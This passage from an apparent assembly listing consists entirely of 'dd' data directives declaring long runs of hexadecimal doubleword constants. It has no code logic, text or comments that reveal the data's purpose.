6E67C8C5h, 0E83EBF91h dd 0AD33122Eh, 1254B868h, 13960248h, 5D28FE27h, 15E9002Bh dd 9160C899h, 0F0120BA2h, 1C9505Bh, 9DC74FF8h, 9209866Bh dd 0FD5BAE7Ah, 0F5CB706Dh, 0C1B0F54Ch, 0A77BE145h, 86CB0035h dd 0B84F68EEh, 8A9D12FDh, 47FBCDCh, 62214BB0h, 5E1D6EFBh dd 0ACA425ECh, 0B9BD83B1h, 36DD9134h, 6830BF2Fh, 9A00CBAh dd 601AEE9Ch, 63447901h, 0B501DC21h, 61F86895h, 5D8DF05Bh dd 0B94E4B79h, 8C1AAC7Fh, 2AAF53Fh, 9570F6A7h, 85434057h dd 7E2041EDh, 0DA6A8005h, 8CD557AFh, 0A71CFC39h, 3B80F5FEh dd 0BE833E13h, 2277B42h, 0A8B302A3h, 0D2E0905Fh, 0EE951989h dd 305EB0CAh, 81D90821h, 471685C7h, 0E8BC4D6Fh, 1613FCE5h dd 4BC2AB5h, 0B8746E3h, 805837FFh, 5B7D2CCh, 3DBD3DE9h dd 29648AACh, 0E62812CAh, 1423EAB1h, 0D88AA800h, 5F71BD33h dd 0A0C0E71Eh, 7EE4CC7Bh, 0EAF25B2Eh, 0E9D6B128h, 0A008A72Fh dd 23B28D8h, 3F909495h, 1D45F8AAh, 5703A589h, 5212D7BDh dd 26E17104h, 5AD191E4h, 0B52ABB2Dh, 0CE187BCBh, 0BB011240h dd 3D3EA524h, 0B3E47F97h, 0B93BE5EFh, 5C2DA988h, 3557028Bh dd 9284A37Ah, 0C512BB64h, 0DAD2BDB9h, 35DE8028h, 2319EA4h dd 37662C3Bh, 7C606025h, 63822EC1h, 24926Dh, 8B519661h dd 4A2EFA58h, 0BF9720FEh, 3A12BE30h, 0B4F6966Fh, 505D77E2h dd 564F2FBFh, 0BD4F187Dh, 5DF4AADDh, 54F8127Bh, 0FA9FA14Dh dd 9F47AD6Fh, 5EA578E6h, 55005557h, 49CC4E28h, 0A250972h dd 3A5D2491h, 4040ED4Ch, 0D087527Ch, 0EF54F302h, 5EF5E28Ah dd 0EADAC55Dh, 0C70980A6h, 2D787C40h, 33B198A0h, 2050F1C2h dd 57B292E9h, 0F52D7B79h, 6DBD4718h, 99F1942h, 0D5F1FDB5h dd 0CEFC8A0Ah, 0F93761CEh, 0F62A3E84h, 301DB294h, 0EB392BFFh dd 44FB0202h, 0D56C18E9h, 5FDDB390h, 62614500h, 52A83713h dd 0E1DF167Bh, 0D8ED0046h, 5F0B04D9h, 51A1BB00h, 0B35061B4h dd 0C1099772h, 3570915Bh, 0FD2C17C8h, 5F6E02F8h, 0E0D560BEh dd 85266527h, 29BB6602h, 0F1DA5C83h, 0A7CC6F5Fh, 7BFC8118h dd 4E3DA1A3h, 39C8017Ch, 0FAB66D8h, 33A26E89h, 0EF75EC89h dd 7B88AFC9h, 78CAA381h, 8B003AB9h, 0A9E54939h, 97F598E6h dd 0F7A73C7Eh, 0B000FC3Dh, 1660179Fh, 253390C2h, 5EE2625h dd 7F47BB05h, 382057E4h, 4F658D09h, 897BB203h, 0F16DFDD9h dd 25E3EC4Bh, 1A77C248h, 0ED3FC0F9h, 1F9C9710h, 36212045h dd 0D353AC3Bh, 0D19D00EAh, 61F5D7B5h, 46C40B97h, 99C19D1Ah dd 0ACA37B0Dh, 19B92CD8h, 97C1E980h, 0DBB7A709h, 7E39C680h dd 6EC042C1h, 6FD35C6Eh, 40BF4F7Bh, 16858362h, 0AAC5FDDDh dd 2CEB2865h, 541AD2Ah, 0C360202Eh, 4200A032h, 0DD6FD429h dd 4A27525Ch, 28C4BA37h, 0B72F9C40h, 0EEBAB25Eh, 75A338C6h dd 4A20AE4Ah, 4B730F9h, 5E3DAF0Ch, 432A8271h, 15557B75h dd 5A27B0E5h, 0D06031F6h, 73F123Eh, 8B3034FFh, 2925198Dh dd 8002AC5Bh, 75FDC3ECh, 76AC3D6Ah, 8B669380h, 0EB815FD0h dd 863E4D7Bh, 59BB5A18h, 0C44818A9h, 660F5522h, 40A38BBAh dd 0F81405C3h, 0B2534A0Dh, 6C3DB7h, 0A2F06B9Fh, 2749A834h dd 0DEDCC586h, 48F5F00h, 1725B906h, 302B4FE0h, 1ECF5C5Bh dd 49F7B400h, 78E6C7Bh, 47F0AEh, 0BF9EE881h, 85013234h dd 9708F131h, 199D9AC0h, 14F8D6F9h, 0F0D2654h, 0DC0A7A85h dd 0E001E14Ah, 9B628070h, 0A0DC9060h, 0F5521CE3h, 10298039h dd 0CB1365C6h, 15ECC500h, 9679F9BBh, 0F45FEC30h, 0EB074E0h dd 853A4490h, 0E1781198h, 0DC3819C1h, 58B0B521h, 983247E2h dd 0C03ADD06h, 731A2E4h, 9C01979Fh, 9A327393h, 8DB125D9h dd 48BB6418h, 0A007C1E6h, 6948308Ch, 0A90F1B39h, 80C1E53Ah dd 209365C5h, 476E00EDh, 25E8B731h, 7400CE5Ah, 0B0016B96h dd 6E27619h, 0B5E6A561h, 0EA73B157h, 30B3EC18h, 83714E20h dd 6998AFC0h, 99FD4605h, 18AEB6F5h, 33E0D9ECh, 0C994240Ch dd 180111C4h, 8C04DCEBh, 0B1669139h, 0F208C019h, 531F06E4h dd 512D6E64h, 83D5E1C8h, 0EA55E576h, 48D7C800h, 0B52A0783h dd 0A11514B0h, 1D00C408h, 0A8D26D66h, 3019AFE6h, 1908E0FAh dd 0C069EEF0h, 1D333BB8h, 0A93C7D6Eh, 31E450AAh, 0E158EB60h dd 14E90CD9h, 8CD8021Dh, 596DE306h, 0C79090A1h, 18B5AE31h dd 82021C8h, 37B1714Ah, 0F9E478h, 69EA230Bh, 94840503h dd 0A383F561h, 222100F4h, 6C352303h, 41F52566h, 5C1F62Ch dd 90C81822h, 7F11A8ECh, 27B7004Eh, 24D63057h, 0B36E619Fh dd 0EABB0321h, 0BEFA30DFh, 0E22D6A50h, 46F0D441h, 18926029h dd 993790C9h, 7FEC6354h, 10A3EF02h, 40050CE9h, 0E804D442h dd 0A621C07Bh, 0F53CA3E7h, 0BF47F400h, 0ED6DCC39h, 1E2D1AE8h dd 800060B8h, 0DF02255Eh, 71002492h, 24D8844Bh, 0F63F1Dh dd 0B785C99Ch, 614D0FACh dd 253D5600h, 0D2C8FC1Eh, 4BF30098h, 45A9B222h, 0EF00EB86h dd 60A262Eh, 0B67859h, 0CD2E552h, 67BA8E01h, 1DD53E38h dd 3CC0D42Fh, 0D7F66843h, 6B90E5h, 0A44E535Ch, 62501DF1h dd 0F340D007h, 0E9D0B143h, 923C2Bh, 689A9580h, 8660B4A8h dd 0D21EC879h, 54C03FC0h, 6B0DDB89h, 0F88CFE76h, 8E9801A4h dd 2C3F52DFh, 2D60E81Ah, 8D9F9100h, 0E30B5FB4h, 0E1B21CDCh dd 473D00E9h, 0D4534F5Ah, 1885D303h, 0A01F7D0Dh, 773BD5BAh dd 0A5300163h, 9CD1DE64h, 3308985Ch, 6B5E21h, 7BD93D7Dh dd 0ADA78475h, 30DE2E03h, 0E95A431Eh, 2C4BCF3Fh, 370063DEh dd 0A8457EC1h, 0BC963E2Bh, 0C9181B00h, 3EDF124Ch, 2D209A07h dd 11885C0h, 0A26E1BFFh, 28BCD8h, 17DB79B5h, 193C905Eh dd 86056BEh, 132180EFh, 0E2DDB72h, 864B0021h, 77330A49h dd 58C61FBEh, 2068F645h, 81C02CE2h, 0A5A4F5BAh, 0E8B9634Ah dd 0B99E5BC9h, 1B797B00h, 0E5C5D18Ch, 72213EE1h, 37E4272Ch dd 1438E020h, 91017698h, 991FB10Dh, 25D1B0FDh, 980C5A10h dd 8A23FC00h, 8B9B8E34h, 4E4100F7h, 0E5DE5620h, 0B10D8CAFh dd 61E2BBD1h, 0E839108Ch, 79009370h, 0A34F1080h, 58E2CCh dd 0A2F4E47Eh, 4016DC3Ch, 5C50D900h, 0A42D6FF2h, 1D700082h dd 0EE0313Eh, 0BF0FDD22h, 83340B63h, 46B6B5A6h, 22C30411h dd 1000BCC9h, 4411D25Eh, 1F8C991Eh, 81CA5D7Fh, 0D3A0163Bh dd 26E4F465h, 89885200h, 0D0AAD6F9h, 0E38E004Dh, 0AFD20607h dd 97243AC3h, 3CF3EAh, 8F1C5BA3h, 7C28FADCh, 7A71B5h, 0E3B018CCh dd 67DD566Ch, 0D04C3900h, 0BC2B5CE2h, 636800BFh, 0C88A1175h dd 7B7ECF4Dh, 0A1E57300h, 8C157CEh, 0BDEC0051h, 60ED76FAh dd 5930D3ADh, 0F235498Eh, 6320FDCh, 5DA0080Ah, 2C33C685h dd 39B88B1Dh, 9A10A040h, 0FEAA0Fh, 891AE9ADh, 0B2DE08AEh dd 0BD333F07h, 0B4113EABh, 58F45C73h, 19F1CA9h, 51D4580Bh dd 0E2EF192h, 2B00AA3Bh, 0BC8F9A45h, 0BD371EAEh, 6D808669h dd 8D00714Ch, 4B1C6643h, 8F8C6h, 0A37EB94Fh, 333A030Fh dd 0A79DCD0Fh, 679E8084h, 5FBACBAh, 4869AB77h, 49D44F2Eh dd 131D44E0h, 59C06C0Fh, 824EF070h, 0A47DD9h, 1814BA04h dd 5CCE888Ah, 5D634505h, 0F44034E7h, 0D0F6F744h, 47A50010h dd 0EA65B835h, 8201807Ch, 0CD7B87EEh, 6CAD4917h, 80A81108h dd 63D28BB7h, 0E00023EEh, 0A77A67Ah, 7D8E80Eh, 0B20C032Ah dd 85F7132Bh, 4A2C9900h, 0FED44E51h, 0CA7D0081h, 9F5E276Fh dd 78F839F7h, 443A610Fh, 9075207Ah, 0B35C05h, 0F68CE79Ch dd 0E32DC31Ah, 806CAC3Eh, 74AAD23h, 16EE679h, 0CE08A59Bh dd 0F0946AB2h, 5C50F52Ah, 522E7FC8h, 11303E3Ch, 5B628Fh dd 0DB8A20Bh, 0E6BFAFF7h, 6880C00h, 7163A0D1h, 4B20028h dd 4B6E0F33h, 8892877Bh, 9613D51Ch, 0DC528AC3h, 3216C029h dd 0E7300A0h, 8DA8E23h, 27E21258h, 0A8B08039h, 78C0EC17h dd 9F4E5D7Eh, 0FED80687h, 1809CFFFh, 25F59600h, 33BC9C67h dd 7DF8F9D2h, 1FDC074Ch, 11CB3489h, 60A23BEFh, 0F60060D9h dd 962C4785h, 0EE8F2579h, 0F7552E62h, 0CB330044h, 520F38B4h dd 9B54E400h, 10A769EFh, 1DB503F1h, 0A08D70AFh, 0CB5EE9B0h dd 0E54F9309h, 54040762h, 201C4560h, 7AF52CE1h, 0CDA5008Bh dd 39E4C24Ah, 33E60400h, 0E775A24Dh, 840D048Bh, 80AE7029h dd 0B1017E94h, 0D5E46F18h, 40C17C58h, 4F008D63h, 0D2151F42h dd 189B0A9Dh, 39413CDAh, 2C006138h, 0A636A1C3h, 1F0F89E5h dd 40AFBD8Eh, 63D9B1A8h, 6D3BFD9Ah, 68DC80F8h, 0BF8F1EDFh dd 4E380970h, 38A096B7h, 99C8246Dh, 0A80DB309h, 73E020F4h dd 18C61A4h, 14C6B44Dh, 0C0E5B2FAh, 797EEEC2h, 3B7EF0C0h dd 738CAD36h, 0BE2A00C3h, 0BC5CDB94h, 7200716Eh, 367EE055h dd 0D564B3h, 0DC97DAB7h, 0D15F3E39h, 0BE4B5700h, 7A100C9Ch dd 0FDFF0076h, 0AD24EA27h, 7C00EC86h, 4F3D5061h, 0F3B6939h dd 759AE9AAh, 630DCE40h, 6D005E3Eh, 8E2852F1h, 0BBB591h dd 2743C72Dh, 5B8B09E4h, 1E00D492h, 6E96C160h, 0C0A9E6CBh dd 9BC783D0h, 4E00BC1Ah, 9C814F39h, 84A1Dh, 451FAE8Eh dd 6F013AD3h, 0FF03F97Fh, 2671F761h, 88AF90E8h, 1870F6B6h dd 80D2037Bh, 892FA99h, 0FD169A0Eh, 2BF30088h, 0FDE8D95h dd 72F5D907h, 0ED529Fh, 0B7946A8h, 6601CE55h, 9E925175h dd 0F8200CADh, 834C00B3h, 0A944F5A6h, 0AF757C1Ch, 2F506000h dd 2BB33A5Ah, 4CDD015Eh, 12C9EED3h, 33189FC1h, 0A0CD68Bh dd 0C080BC1Bh, 806C761h, 692F2CF6h, 0A7C4011Ch, 0C445AF31h dd 0FB7F6AB0h, 99F0CC02h, 581E14BEh, 569E0055h, 2680748Ch dd 890E6F65h, 0E1582EA4h, 0DC9872E2h, 0AF8EE4h, 8DDBA801h dd 20AB28C3h, 47D64001h, 791348E8h, 38D1288Bh, 7685D00h dd 0D0077A92h, 3A0EBD82h, 0EA165BF0h, 36F67Bh, 5667BEBFh dd 4113C052h, 931ADB00h, 0E4C86154h, 0CCD400A9h, 0F479400Eh dd 0A00BD24h, 942DB3CAh, 344596Ch, 906FB7D6h, 91801601h dd 660EA3BEh, 733960F3h, 7C008052h, 6AFED27Ch, 94E709A2h dd 8C00A5E5h, 73E350DCh, 4FF64401h, 70DEFA01h, 3B8D6AD8h dd 3401DB63h, 6E24395Ch, 0E4E770E9h, 22BABB00h, 0E0308976h dd 0EB3400BCh, 326FF157h, 1A0FE758h, 7FF22733h, 255C70C7h dd 0A0248C03h, 4C6BA5h, 816F11C2h, 0E841631Dh, 37AD1A03h dd 0EB404BA9h, 3829A817h, 53A300FCh, 3A849DABh, 0EFFAC2EAh dd 0AECBB000h, 4FC33063h, 83710AC9h, 81FC1B5Eh, 19450544h dd 0D1206498h, 8884E303h, 985A5EB9h, 1680E6h, 2BAAC487h dd 1E99FAADh, 7FED9E00h, 9CD77809h, 0C8930219h, 0D1AA0375h dd 0E880882h, 35A0CCC0h, 1CB3A701h, 8C8A0949h, 0B67874h dd 4D07513Eh, 4FCF4EECh, 0D0D4C9F9h, 432EE49Bh, 498094CAh dd 0F2846FA3h, 82871DDBh, 0E68B01D2h, 0E163C003h, 0A374F0CAh dd 3629C100h, 24411F9Eh, 37E100ABh, 0D2A789DDh, 9F009255h dd 0C27FF648h, 0A046E4DBh, 600C2E30h, 4F48906Dh, 88C049E7h dd 0EC0E1E07h, 610F450h, 0DBDA806Bh, 6FE438EEh, 491BE71Fh dd 688B8A4Ah, 7304005h, 0E284AC46h, 0FA2C3AB0h, 8A888600h dd 0E3230CBCh, 8762B63Eh, 83C05BD0h, 88B3FF80h, 1D5E009Dh dd 4502AA73h, 7C00C905h, 0EB3A2B62h, 0A5C072h, 60A2CDB5h dd 0DCA879C4h, 13C1A000h, 0F36CA31Ah, 260C0196h, 75D32EAh dd 7AD8C4A1h, 2D04BF1Dh, 0A002C64Eh, 2338DADEh, 0E60A3FDFh dd 0EFA9811h, 8028EB0Bh, 6C7D4B45h, 1CA29016h, 0DC2BDF8Bh dd 0D17BCFEEh, 0F04418D8h, 0D8386E01h, 49862C69h, 0FBC385E0h dd 0ED7388E0h, 32BF418Fh, 4361DFECh, 0DB173D00h, 7E73B9D0h dd 752744Bh, 620FCC11h, 40C58096h, 0A54AF05h, 706F25A8h dd 0B881F028h, 40105485h, 0C0B30690h, 78CA7937h, 0EFC37600h dd 1CD1D0F1h, 19F90BC6h, 4506CB07h, 0D64176F0h, 9890DB69h dd 5B2C8111h, 0C08691E9h, 21FF2F3Eh, 1D445C85h, 1E470C4Eh dd 0D57D6007h, 6B093541h, 20A976F8h, 0C4A3BF34h, 62F30736h dd 42AD4BFCh, 0B380B52Ch, 0CC83380h, 0F8B1E160h, 0E3A4598h dd 0B5EFA08Bh, 801004A4h, 35771956h, 80C51C6h, 0A9340731h dd 0C02CEE01h, 0B536EAC2h, 0D062B200h, 0C47B87C9h, 23C7320Eh dd 46208278h, 910CD24h, 88427C13h, 737E6801h, 44E98254h dd 8F0759B8h dd 0EEFB6098h, 7E19348h, 0C8222482h, 8E5BC0F0h, 71E2A3Fh dd 3858C30Fh, 287B7E79h, 44247491h, 8500E03Ah, 41060C3Fh dd 0C0010B88h, 15D46EC1h, 0D6005E28h, 9F99FC1Ch, 95EC18h dd 53FEF47h, 0B9F18137h, 538430DCh, 0C089C02Eh, 5F69DCh dd 0B2D048D4h, 36129F46h, 0BF3B9224h, 0D1C3CF00h, 74F3411Ah dd 0A9553EA8h, 5952A403h, 29E00F3Eh, 7C06B774h, 0A89808Ch dd 80E4F078h, 3C00BC45h, 1C9637A5h, 4CC15Ch, 0B9DB1360h dd 0ADF71FE4h, 4F9FA703h, 11E6EC6Dh, 50F34719h, 0D8A87013h dd 8D1D8A89h, 0B10E7F35h, 0B52B4077h, 8868F0C2h, 0F1245BE2h dd 7F00443Eh, 0B87ADA85h, 78B000FDh, 0F5F4F256h, 0CA0C5E5Dh dd 207FB7F3h, 0DC460F39h, 2403B820h, 1978FFE8h, 113B3800h dd 0D8F9B76Eh, 837C1Eh, 0F532C2F7h, 0F303DE0Ch, 0ED0E44E2h dd 0B257A1h, 0FB087A9Bh, 0C3E8B0E3h, 0AC388310h, 0B11CF588h dd 6329C560h, 0D3E4EBh, 6F2384AEh, 80E7D919h, 0A1BF3F00h dd 0B3F1D4CCh, 0A85A30BDh, 1117148h, 7AFDC0FFh, 0FF417C00h dd 78C418FCh, 3A7F7739h, 0CA0CAA9Ch, 21C1A8E7h, 12284D01h dd 96385A5h, 3600E0BEh, 9953B24Fh, 0C56FE868h, 96409DE8h dd 283F5DE9h, 9A9006Dh, 66CACE94h, 0D55C5A7Ch, 1C601C8h dd 15CFEF44h, 8123E4h, 0AB7AD9F5h, 29E19865h, 9C47AF17h dd 0EB7D8801h, 0D5F04B97h, 73011E13h, 0CF538FBDh, 0DB2A06FEh dd 0A0018D3h, 0AFF77C2Eh, 380E4507h, 0FF83B615h, 0C76C1ED7h dd 5DB4C8A8h, 0EA032A00h, 2ECB97DAh, 84D31711h, 0DE3000F6h dd 91D61C2Bh, 6AF08C76h, 5D25B201h, 0CEEC8588h, 0A0E84880h dd 0C4FE9517h, 8A461C03h, 0E8683AABh, 304062BDh, 0F008BC7Ch dd 5B002813h, 0CEFEEF84h, 22A068h, 6C3F380h, 4A99044h dd 0A1325E1Ch, 4CF01994h, 0ECF3007Bh, 6F30CEB7h, 3EA000D5h dd 1650213h, 64606D5Dh, 2E2B7A21h, 9B330055h, 1BD34E5Bh dd 17003ED9h, 8F2F62D0h, 1450E94Fh, 94AB82F5h, 9C0117h dd 29DDBF7Fh, 0A901917Fh, 0AAE8C5ECh, 82603BBEh, 25B106C9h dd 69F5D231h, 5F71B807h, 0D8E08872h, 0E5C49961h, 0C3BDF4h dd 2E045580h, 0E6F3B09Fh, 0AC7E6803h, 3DC67024h, 0C0824A70h dd 0E5770FDFh, 397BFAC0h, 2518B500h, 0F9FA4164h, 0A2400A1h dd 0B48BCCE1h, 1A00A997h, 0E7C87069h, 0FC6F15CEh, 2D7D9Dh dd 0A0CFF039h, 3528ED6h, 87D96400h, 0C57271C3h, 3EA79FCh dd 5C2B297Ah, 0EDAB17E0h, 81EB33E0h, 0DD31077Dh, 0F225A066h dd 0B9008855h, 8212E0BDh, 0DEC300E2h, 3B6BB0FBh, 1900FCAAh dd 0D4D28780h, 5AB2Dh, 214AEB27h, 1F5F57BEh, 7452C000h dd 306B897Fh, 0A1C61FA6h, 49188E20h, 0E9FC02F3h, 58435E14h dd 10D0F4F0h, 8D633907h, 914066B6h, 98A553h, 9F56E208h dd 45EEA7BFh, 738C5B38h, 545C7000h, 0C47C0F04h, 564B002Eh dd 41930A9Ah, 0CF073096h, 0FF58CC62h, 0A07C3500h, 14ED07D2h dd 5ED0439Eh, 0FB610E96h, 86786AE0h, 8700029Bh, 393E647Fh dd 3E10D86Fh, 0F69D663Ch, 887BC3ECh, 5800E309h, 5E3F9CB6h dd 0E3E92B74h, 0F91FC906h, 0C9C1386Ch, 77A2B78Ch, 0A903C06Eh dd 4805DB06h, 53E42063h, 6D599001h, 0F8FB4CC8h, 0EA7D16h dd 32F8AF7Ch, 123F9DDEh, 809F8E01h, 0C257A40Dh, 0B0FB60D8h dd 2F7A00B4h, 7C11083Ch, 0C50EDE06h, 874FE65Dh, 5460383Fh dd 479AB9Dh, 2C3D140h, 0A443C0C2h, 0DF2673Dh, 1A623801h dd 2AE2CFE6h, 99944080h, 32B4F94Ch, 68F60F00h, 3B704905h dd 0FC270F5Bh, 0DC208A8Fh, 0D7442985h, 0E3C65013h, 0F802A60Ch dd 75B40EEFh, 9120561Dh, 7D4A5A3Bh, 8DBDA8C0h, 1E47D762h dd 870AFF34h, 605E6A5Dh, 3FFBC5DDh, 0FC6B38h, 3CC7BCEFh dd 90B1A3D1h, 2C2C4930h, 31789709h, 0B61B6000h, 5092BD38h dd 7717601h, 57937367h, 1237C820h, 185AF8D7h, 0C15F1111h dd 94877301h, 0A36EF4D1h, 4CDC24h, 4D5C93D5h, 0D451168Dh dd 0B0777D26h, 6ED9CA00h, 5420F3ADh, 34EC4Ch, 0BD71CF44h dd 240DB6D5h, 261C2E00h, 0F331B06Ah, 9FB700BAh, 4FC32B44h dd 7800E1A5h, 302E7FF5h, 0A717B9Ah, 1282DB58h, 2A640090h dd 0E36AA884h, 0CCF23300h, 8DE1CA5Bh, 73B700DEh, 0AF2E4255h dd 0E3EA06Dh, 821D80C9h, 0D4E8F6EEh, 0A473005Fh, 4C2D39BCh dd 43985479h, 0FF6E9100h, 0F4069590h, 8D30F3Fh, 41601735h dd 520563FDh, 0E2B29305h, 14C05A98h, 426F75h, 1FD63A0Eh dd 0BD3CF6Dh, 0F2B77900h, 4BEA3054h, 887E4808h, 0EE7A5200h dd 49AF1E7h, 0B9C1F503h, 0C0B666FBh, 0D2264Ch, 78ABDE53h dd 0FD6A692Fh, 9E995800h, 0A6C7EB32h, 12E701FEh, 732D24D0h dd 8DC1F830h, 3736970Fh, 0B365C0A0h, 17EBBDEh, 60C91655h dd 6009B53Ah, 5000137Ch, 0F7B0A6E6h, 3926219h, 3C7C443h dd 27E0EF0Ch, 7C005440h, 0D6DF4A23h, 3EF03746h, 98009520h dd 78E07970h, 0EE12B333h, 0D44012C7h, 0F3B63837h, 0A6DC00B9h dd 0B17EDF9Eh, 0AD13C2E8h, 0B8409DBEh, 0C3AFEE83h, 0D1D60A92h dd 3B0881B9h, 760ED481h, 0E8C67CDAh, 8D0CCA42h, 604ED358h dd 95C43B13h, 0CFA57E81h, 0D0357CBBh, 0BCE93BBFh, 1453E20h dd 0F0237D89h, 99800119h, 556F2B92h, 0A72E6D30h, 9C011150h dd 68D4701Ch, 13F87CC8h, 1FEBF5h, 0CC6FD37Ah, 923BF3D6h dd 7D77000Dh, 0FC8CF7FAh, 0F27630CBh, 6D50DD19h, 0C052A400h dd 1F9BF64Eh, 38F705D2h, 916EC292h, 0CD18EE48h, 773881D0h dd 0AF58F2Ah, 0F4821FF0h, 1B690098h, 0AAC739E6h, 4A00D2F6h dd 6D9B6ED8h, 301C0D9h, 0B3EFAF93h, 0BECB9160h, 0DC9E7DF0h dd 0A500CFFCh, 0C389A462h, 0FCAA223h, 4CFD6DDFh, 0C1AB8423h dd 8573AAB0h, 0A04DDC2Ah, 8012A138h, 0F306CA74h, 0CCAE81FFh dd 90219A08h, 0E512AA00h, 182FE27Eh, 0D885009Dh, 0C3716FD0h dd 0F300C9FDh, 6D9E1EF8h, 1527AA6h, 1074F43Dh, 97010CECh dd 1C009618h, 0D113B073h, 0A0D25D9Ah, 46BE600h, 6D4050ABh dd 9476F33h, 862100CEh, 0D0760444h, 28C0D97Eh, 0C4C302B1h dd 0EC0F3AFDh, 0C660C47Fh, 0C5233E13h, 9CFB0Bh, 0AE647216h dd 0D45C004Eh, 0D9381F16h, 8B014F30h, 0DC0813B1h, 70A425F8h dd 7EF50064h, 0BBBCCDBDh, 0A9740A03h, 0F7A6120Dh, 0F2814C0h dd 0E5E100B4h, 0A7BAC85h, 0F728B9DDh, 0F4009DC9h, 0F7DBE51h dd 0CB2DABh, 0D6563CF6h, 0D5E1D3Bh, 4D80711Eh, 0B5BDDE80h dd 25CA21h, 159EEF97h, 0B323E93h, 95B89600h, 5BE99ECh dd 0BACD00D4h, 0F698C0E1h, 920023A0h, 9B4B3B24h, 1F1CF17h dd 4C2F7BF5h, 0FC5BDDFDh, 1F387A6Eh, 80A53CEDh, 8A18A022h dd 0F6162B8Dh, 0E4FD0E9Ah, 0E5E08021h, 2FEB6872h, 944FB500h dd 4C641E91h, 2208CC29h, 38005221h, 3179B1B5h, 0A0F1CEh dd 119705BAh, 80EDF516h, 666FDC00h, 0DD6B95CBh, 75BE2089h dd 61CEE506h, 178345Bh, 687EE483h, 0F8FE69CBh, 703BF626h dd 8B7380DFh, 0A5101198h, 1864E223h, 2017BDA6h, 0F8140768h dd 0F0204D22h, 8697905Eh, 9F44D200h, 1203A4E0h, 4A3A1DCBh dd 72E4035Ch, 0D8E02948h, 490C07F1h, 858DB7Eh, 2621C196h dd 0F428A461h, 4A90D7E7h, 0EDB67B00h, 69A59E6Fh, 0E4AC3EF1h dd 0F5B40180h, 0AD9F0670h, 625ACC06h, 0A075FDh, 0D65112E4h dd 0B72EEB2Fh, 26F3E819h, 21801A08h, 7ED65931h, 0E2057BB5h dd 11F3694Eh, 0CDC6B840h dd 52839C7h, 0C9DDEDEBh, 33B00051h, 0D6E469E9h, 1A28E861h dd 51B17F5Fh, 83F6742Ah, 4FCE9628h, 72401D97h, 303D5861h dd 9F2009CBh, 0C4588566h, 0E94E606Fh, 329814F1h, 0D303B87Eh dd 0E6CB4972h, 15B5023h, 0EB2CD650h, 32000E26h, 2235D658h dd 0A3EA9E08h, 23B06B6Eh, 0F45915h, 0FE5E2CC8h, 70ED9A0Ah dd 36A0F30Ah, 0A281F457h, 6EA6A853h, 0D65C1082h, 0C880B5DDh dd 0FEE08BE7h, 0F3E87E54h, 646A6818h, 33AD228h, 7DD1F159h dd 41B59861h, 0DA86698Ch, 628201Eh, 7E8D4C06h, 4948155Ah dd 245094F9h, 2A048C37h, 4FF1D9A4h, 29249462h, 613BD8C0h dd 529D5C42h, 0F38B1B0Eh, 69856FE0h, 0F8AA6EE7h, 602FC884h dd 234DB52Dh, 0E3088194h, 365800E4h, 8283F8B5h, 1AEB6F00h dd 44DAA5D0h, 604A1FE7h, 0FCD97198h, 0D0B8576Ch, 56A64955h dd 20E25700h, 6DBCF040h, 0BC545092h, 0F8056ADCh, 0E03E03B8h dd 0C9641EFFh, 306035F8h, 0F13BC7A4h, 622243FFh, 0A4682700h dd 0EDE9F894h, 0D98B02ADh, 0B98DD73Bh, 8493D084h, 237C08E4h dd 8AC339C4h, 7C279594h, 0C219Ch, 0D604B522h, 0CBF14F13h dd 26735104h, 0B4C66E94h, 0DD6928C8h, 0F5742A18h, 73BA0084h dd 98AA64F8h, 497863CEh, 39ADB601h, 5DB9D20Eh, 0F0643423h dd 0A4246021h, 5FF22BDBh, 0E6311F4h, 20A45C1Bh, 1ABB238h dd 0CE9E0C68h, 79903E27h, 6E1FD806h, 9810668Ah, 691A0CBFh dd 0BB405D52h, 5B0B632Ch, 12215428h, 10060256h, 220474E7h dd 4B857E4Eh, 0A05E73h, 249CDB44h, 17EC2D6Ah, 83ED233h dd 912102FBh, 438F9D23h, 0EBE8B4E3h, 4CB86DD0h, 87292490h dd 2511C4E6h, 23B52B80h, 40913194h, 0C03456C2h, 7FDE118h dd 5DB41A95h, 0D0E02C66h, 7104D91Ch, 65985FC3h, 0E9880479h dd 80C6F687h, 8D4BB700h, 1A807402h, 8F5AC866h, 0A8974A84h dd 0B158Eh, 0C9123430h, 0F8660092h, 7BE22DD5h, 0EAEA4D0Fh dd 8ECBC12h, 48B5822h, 0D42E3534h, 42009923h, 0D02DB395h dd 217B02C4h, 0E515064Bh, 0A240804Fh, 1382E8BCh, 2711196h dd 92CC5B94h, 4E606104h, 0EB2332D6h, 2E071136h, 9D001F30h dd 0E2FD8FDEh, 0F7E611h, 8A09894Eh, 91DDF91Eh, 62D7751Fh dd 57727F84h, 4C71098h, 0CD6A309Bh, 20F93246h, 969D2F25h dd 5E8E6A0Ah, 0B105D0F0h, 242B7EDBh, 8A00EC23h, 450C4828h dd 378806A8h, 0C96E5E1Ah, 908B4B2Ah, 0B30A8400h, 3B7B8663h dd 259E0045h, 0F50FCCEBh, 0F20982D8h, 16AD690h, 5FB96684h dd 91731FD4h, 18F8F180h, 0F2392801h, 904D4DEAh, 28796E14h dd 8CEEE8h, 0A22619DDh, 0E65B01C5h, 4BAF970Ch, 3FE18Ch dd 0C0502B0Ch, 2C62C903h, 9F3DFD00h, 0CC0FA4BDh, 5EE50263h dd 0DF8CEF6Ah, 888274C2h, 29022D7Fh, 0EBD0C468h, 0D6044F18h dd 0B6FEEB2Dh, 570F3F2Ch, 0CF20D2D6h, 0F258B43h, 0FC9C94FCh dd 66008CECh, 7DA40638h, 9B4DC19h, 5BE67694h, 7E60F418h dd 8F445098h, 1A8717E3h, 4C8C41ECh, 0BC94B0AAh, 0DE8070E0h dd 6546845Ah, 2ED62201h, 0CB756EBh, 4A348806h, 3BF0D64Fh dd 9617075Ch, 0F076789Dh, 0F38ADBF1h, 101E020Ch, 8857901Fh dd 54135064h, 0A03F9074h, 2A00F123h, 0FBF69389h, 611301A3h dd 0A1A65BD2h, 55E889EFh, 4ABC048Bh, 2D9CDC60h, 0B0256A29h dd 9D2426C1h, 0B84057DCh, 3C91020Bh, 0D209C338h, 185C9099h dd 39D60823h, 33701EEBh, 8BD6004Bh, 0C94E0D0Bh, 500273CFh dd 0A1DDEDCCh, 833440E7h, 0F081D452h, 8EEEE8h, 97590D3Ch dd 63DDFB41h, 98EC603Ch, 0B460F5A9h, 733A2465h, 5FE20310h dd 4100E895h, 0D2F3D084h, 3FB1BD3h, 0DDEA755Ah, 38033E35h dd 2384CEA0h, 0E0D7DBEDh, 0CE1C2FEEh, 6A044B0h, 9DFFE402h dd 0D0225Ch, 4B11DA55h, 0E7BC5Dh, 0A896B2A2h, 1B08337Eh dd 0FAF5D70Ch, 